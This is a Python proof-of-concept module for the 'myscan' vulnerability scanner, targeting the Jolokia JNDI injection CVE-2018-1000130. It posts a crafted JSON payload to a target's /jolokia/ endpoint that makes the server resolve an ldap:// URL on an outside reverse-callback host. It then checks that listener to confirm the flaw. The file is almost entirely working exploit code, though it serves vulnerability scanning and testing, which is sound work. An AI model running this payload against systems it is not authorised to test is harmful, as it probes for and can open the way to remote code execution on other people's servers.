# !/usr/bin/env python3
# @Time    : 2020/9/17
# @Author  : caicai
# @File    : poc_jolokia_CVE-2018-1000130_2018.py


from myscan.lib.parse.dictdata_parser import dictdata_parser
from myscan.lib.helper.request import request  # 修改了requests.request请求的库，建议使用此库，会在redis计数
from myscan.config import scan_set
from myscan.lib.core.common_reverse import generate, query_reverse
from myscan.lib.core.common import get_random_str

'''
未验证
'''


class POC():
    def __init__(self, workdata):
        self.dictdata = workdata.get("dictdata")  # python的dict数据，详情请看docs/开发指南Example dict数据示例
        self.url = workdata.get("data")  # self.url为需要测试的url，值为目录url，会以/结尾,如https://www.baidu.com/home/ ,为目录
        self.result = []  # 此result保存dict数据，dict需包含name,url,level,detail字段，detail字段值必须为dict。如下self.result.append代码
        self.name = "jolokia_CVE-2018-1000130"
        self.vulmsg = "referer: https://xz.aliyun.com/t/2294"
        self.level = 3  # 0:Low  1:Medium 2:High

    def verify(self):
        # 根据config.py 配置的深度，限定一下目录深度

        if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
            return
        payload = '''{
    "type" : "read",
    "mbean" : "java.lang:type=Memory",
    "target" : { 
         "url" : "service:jmx:rmi:///jndi/%s"
    } 
}'''
        req = {
            "method": "POST",
            "url": self.url + "jolokia/",
            "headers": {
                "Content-Type": "application/x-www-form-urlencoded"
            },
            "data": "",
            "timeout": 10,
            "allow_redirects": False,
            "verify": False,
        }
        data = self.generate()
        for payload_ in data["payload"]:
            req["data"] = payload % (payload_)
            r = request(**req)
        sleep = True
        parser_ = dictdata_parser(self.dictdata)
        for hexdata_ in list(set(data["hexdata"])):
            res, res_data = query_reverse(hexdata_, sleep=sleep)
            sleep = False
            if res:
                self.result.append({
                    "name": self.name,
                    "url": self.url,
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "request": parser_.getrequestraw(),
                        "response": parser_.getresponseraw()
                    }
                })

    def generate(self):
        data = {
            "payload": [],
            "hexdata": []
        }
        s = get_random_str(4)
        cmds, hexdata = generate(s, "dns")
        data["payload"].append("ldap://" + hexdata+"/aaaa")
        data["hexdata"].append(hexdata)
        cmds, hexdata = generate(s, "ldap")
        data["payload"].append(cmds)
        data["hexdata"].append(hexdata)
        return data
